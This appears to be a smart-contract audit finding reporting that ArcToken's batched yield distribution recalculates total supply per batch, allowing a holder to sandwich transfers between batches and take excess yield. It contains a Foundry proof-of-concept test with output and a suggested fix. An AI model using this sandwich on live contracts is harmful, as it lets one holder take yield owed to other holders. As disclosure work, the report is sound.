ArcToken distributes yield in batches when the number of token holders is too high to fit in a single transaction. Any change in user balances occurring between separate batches can cause incorrect accounting or transaction reverts, potentially leading to loss or theft of yield.
Vulnerability Details
ArcToken::distributeYieldWithLimit() distributes yield across a range of token holders per call. holders is an enumerable set of addresses among whom the totalAmount is distributed. When distributing in batches:
The contract receives the totalAmount to distribute only on the first batch (when startIndex == 0).
Each batch recalculates the effectiveTotalSupply as the sum of ArcToken balances for eligible yield recipients for that batch.
Because effectiveTotalSupply is recalculated per batch, it can change between batches if balances are modified (transfers, purchases, sells).
A user who increases their balance immediately before an early batch receives a disproportionate share of that batch. They can then sell tokens so later batches find less yield remaining and may revert or leave holders unpaid.
Yield for a holder is calculated as:
Since effectiveTotalSupply can vary between batches, this leads to incorrect share allocations and potential reverts (or theft of yield).
Impact Details
High likelihood of accidental accounting errors and transaction reverts during normal use.
Malicious actors can exploit timing between batches to inflate yield for early batches and cause DoS or theft for later batches.
Proof of Concept
PoC test (click to expand)
Copy the following test into ArcToken.t.sol and run with:
forge test --mt test_batchDistribution --via-ir
Expected Result if maxHolders in batch2 = 1:
Expected result if you test with maxHolders = 2 or 3 for batch2: (uncomment david's assert statement)
Reproduction / Steps
1
Setup
Transfer tokens to multiple holders (alice, bob, charlie, david, ethan).
Blacklist owner from yield calculation (so owner balance is excluded from effectiveTotalSupply).
Approve yieldToken allowance for the contract.
Call distributeYieldWithLimit(YIELD_AMOUNT, 0, 3) to distribute the first batch.
2
Sandwich / Exploit
Before running subsequent batch calls, an attacker increases their ArcToken balance (e.g., charlie receives more tokens).
The attacker gets a larger share of the yield calculated in a prior or current batch due to increased holderBalance and a recalculated (smaller or larger) effectiveTotalSupply.
The attacker then sells tokens, reducing the remaining supply and causing later batches to find insufficient yield (leading to incorrect payments or reverts).
3
Result
Early batches overpay the attacker.
Later batches run out of funds or revert, causing yield loss or failed distributions for other holders.
Notes
The core issue is reliance on a per-batch recalculation of effectiveTotalSupply while the total distributed amount is provided only once at the start. Ensuring a fixed denominator across all batches (or transferring funds for each batch separately) is necessary to prevent this class of issue.
function test_batchDistribution() public {
// set-up
address david = makeAddr("david");
address ethan = makeAddr("ethan");
token.transfer(bob, 100e18);
token.transfer(charlie, 100e18);
token.transfer(david, 100e18);
token.transfer(ethan, 100e18);
yieldBlacklistModule.addToBlacklist(owner); // owner balance not counted in effective balance
yieldToken.approve(address(token), YIELD_AMOUNT);
uint256 initialBalanceOwner = yieldToken.balanceOf(owner);
token.distributeYieldWithLimit(YIELD_AMOUNT, 0, 3); //batch1
// checks
assertEq(yieldToken.balanceOf(owner), initialBalanceOwner - YIELD_AMOUNT, "owner has been blacklisted");
// effectiveTotalSupply = 500e18 which will be split between 5 people. because owner balance does not count.
assertEq(yieldToken.balanceOf(alice), YIELD_AMOUNT / 5, "");
assertEq(yieldToken.balanceOf(bob), YIELD_AMOUNT / 5, "");
assertEq(yieldToken.balanceOf(charlie), 0, ""); // not part of this batch
// token.distributeYieldWithLimit(YIELD_AMOUNT, 3, 3); // batch2 << not running this immediately.
// BUG = what could be sandwiched between batches.
token.transfer(charlie, 300e18);
// new effectiveTokenSupply = 800e18. charlie gets 400e18 * YIELD_AMOUNT / 800e18
token.distributeYieldWithLimit(YIELD_AMOUNT, 3, 1); // batch2
// Keeping maxHolders to 1 because YIELD_AMOUNT leftover is insufficient to cover all remaining transfers and will revert <<< BUG
assertEq(yieldToken.balanceOf(charlie), 400e18 * YIELD_AMOUNT / 800e18, ""); // went from 1/5 of YIELD_AMOUNT to 1/2
// assertEq(yieldToken.balanceOf(david), YIELD_AMOUNT / 8, ""); // went from 1/5 of YIELD_AMOUNT to 1/8. There's not enough balance to cover that.
// assertEq(yieldToken.balanceOf(ethan), YIELD_AMOUNT / 8, ""); // INSUFFICIENT BALANCE
}
Ran 1 test for test/ArcToken.t.sol:ArcTokenTest
[PASS] test_batchDistribution() (gas: 599048)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.41ms (410.18µs CPU time)
Ran 1 test suite in 4.30ms (1.41ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Ran 1 test suite in 41.62ms (6.49ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)
Failing tests:
Encountered 1 failing test in test/ArcToken.t.sol:ArcTokenTest
[FAIL: ERC20InsufficientBalance(0xc7183455a4C133Ae270771860664b6B7ec320bB1, 100000000000000000000 [1e20], 125000000000000000000 [1.25e20])] test_batchDistribution() (gas: 626814)
Encountered a total of 1 failing tests, 0 tests succeeded